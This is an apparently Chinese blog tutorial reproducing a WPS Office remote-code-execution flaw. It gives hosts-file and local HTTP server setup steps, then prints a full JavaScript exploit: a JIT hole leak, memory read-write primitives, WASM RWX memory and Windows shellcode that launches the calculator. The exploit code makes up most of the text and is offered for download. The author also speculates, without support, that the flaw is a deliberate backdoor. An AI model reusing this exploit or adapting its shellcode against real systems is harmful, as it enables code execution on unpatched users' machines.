复现&教学：最近的WPS-0day漏洞

近期有小伙伴反馈没有图文，不够详细；

    好吧~那就满足大家的需求；不过需要补充的是个别文章是需要有基础才能看得懂，不懂的可以后台私信+V；

Kingsoft WPS office RCE，附POC

wps影响范围为：

WPS Office 2023 个人版 < 11.1.0.15120

WPS Office 2019 企业版 < 11.8.2.12085

复现：

0x00:修改host文件，

        修改内容：127.0.0.1   clientweb.docer.wps.cn.cloudwps.cn

这里我的环境安装了火绒直接用工具打开修改；

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn即可，cloudwps.cn和wps.cn没有任何关系。正常攻击，也可以使用clientweb.docer.wps.cn.hellowps.cn.

0x01:启动http.server,打开80端口；

        在1.html当前路径下启动http server并监听80端口，修改hosts文件。需要安装python的环境；个别情况下有些是SimpleHTTPSever，所以这里要注意，我使用的是http.server；

命令是：python -m http.server 80

0x02:安装漏洞影响版本WPS：

【后台回复“POC”下载】

0x03:打开POC 验证：

弹出计算机；

PS：

使用WPS企业版（11.8.2.1.2011）没有复现该问题，

用火绒剑看确实是WPS.exe打开的计算器，触发了POC，其实看起来像是预留的后门，毕竟之前就有其他国外杀软对个人版的WPS乱杀,只是本次Hvv才爆出来。

POC内容：

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系

代码块在底下。（需要原pdf加wechat）

<script>

if(typeof alert === "undefined"){

alert = console.log;

}

let f64 = new Float64Array(1);

let u32 = new Uint32Array(f64.buffer);

function d2u(v) {

f64[0] = v;

return u32;

}

function u2d(lo, hi) {

u32[0] = lo;

u32[1] = hi;

return f64[0];

}

function gc(){ // major

for (let i = 0; i < 0x10; i++) {

new Array(0x100000);

}

}

function foo(bug) {

function C(z) {

Error.prepareStackTrace = function(t, B) {

return B[z].getThis();

};

let p = Error().stack;

Error.prepareStackTrace = null;

return p;

}

function J() {}

var optim = false;

var opt = new Function(

'a', 'b', 'c',

'if(typeof a==='number'){if(a>2){for(var

i=0;i<100;i++);return;}b.d(a,b,1);return}' +

'g++;'.repeat(70));

var e = null;

J.prototype.d = new Function(

'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');

J.prototype.a = new Function('a', 'a.b(0,a)');

J.prototype.b = new Function(

'a', 'b',

'b.c();if(a){' +

'g++;'.repeat(70) + '}');

J.prototype.c = function() {

if (optim) {

var z = C(3);

var p = C(3);

z[0] = 0;

e = {M: z, C: p};

}

};

var a = new J();

// jit optim

if (bug) {

for (var V = 0; 1E4 > V; V++) {

opt(0 == V % 4 ? 1 : 4, a, 1);

}

}

optim = true;

opt(1, a, 1);

return e;

}

e1 = foo(false);

e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];

let map = new Map();

map.set('asd', 8);

map.set(hole, 0x8);

map.delete(hole);

map.delete(hole);

map.delete("asd");

map.set(0x20, "aaaa");

let arr3 = new Array(0);

let arr4 = new Array(0);

let arr5 = new Array(1);

let oob_array = [];

oob_array.push(1.1);

map.set("1", -1);

let obj_array = {

m: 1337, target: gc

};

let ab = new ArrayBuffer(1337);

let object_idx = undefined;

let object_idx_flag = undefined;

let max_size = 0x1000;

for (let i = 0; i < max_size; i++) {

if (d2u(oob_array[i])[0] === 0xa72) {

object_idx = i;

object_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 0xa72) {

object_idx = i + 1;

object_idx_flag = 0;

break;

}

}

function addrof(obj_para) {

obj_array.target = obj_para;

let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;

obj_array.target = gc;

return addr;

}

function fakeobj(addr) {

let r8 = d2u(oob_array[object_idx]);

if (object_idx_flag === 0) {

oob_array[object_idx] = u2d(addr, r8[1]);

}else {

oob_array[object_idx] = u2d(r8[0], addr);

}

return obj_array.target;

}

let bk_idx = undefined;

let bk_idx_flag = undefined;

for (let i = 0; i < max_size; i++) {

if (d2u(oob_array[i])[0] === 1337) {

bk_idx = i;

bk_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 1337) {

bk_idx = i + 1;

bk_idx_flag = 0;

break;

}

}

let dv = new DataView(ab);

function get_32(addr) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

let val = dv.getUint32(0, true);

oob_array[bk_idx] = u2d(r8[0], r8[1]);

return val;

}

function set_32(addr, val) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

dv.setUint32(0, val, true);

oob_array[bk_idx] = u2d(r8[0], r8[1]);

}

function write8(addr, val) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

dv.setUint8(0, val);

}

let fake_length = get_32(addrof(oob_array)+12);

set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new

Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,

128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,

128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0

,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

let wasm_mod = new WebAssembly.Module(wasm_code);

let wasm_instance = new WebAssembly.Instance(wasm_mod);

let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;

let rwx_mem = get_32(target_addr);

//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,

0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,

0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,

0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,

0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,

0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,

0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,

0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,

0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,

0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,

0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,

0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,

0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,

0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,

0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,

0x00]);

for(let i=0;i<shellcode.length;i++){

write8(rwx_mem+i,shellcode[i]);

}

f();

</script>

【POC文件可以回台回复：POC获取分享链接】

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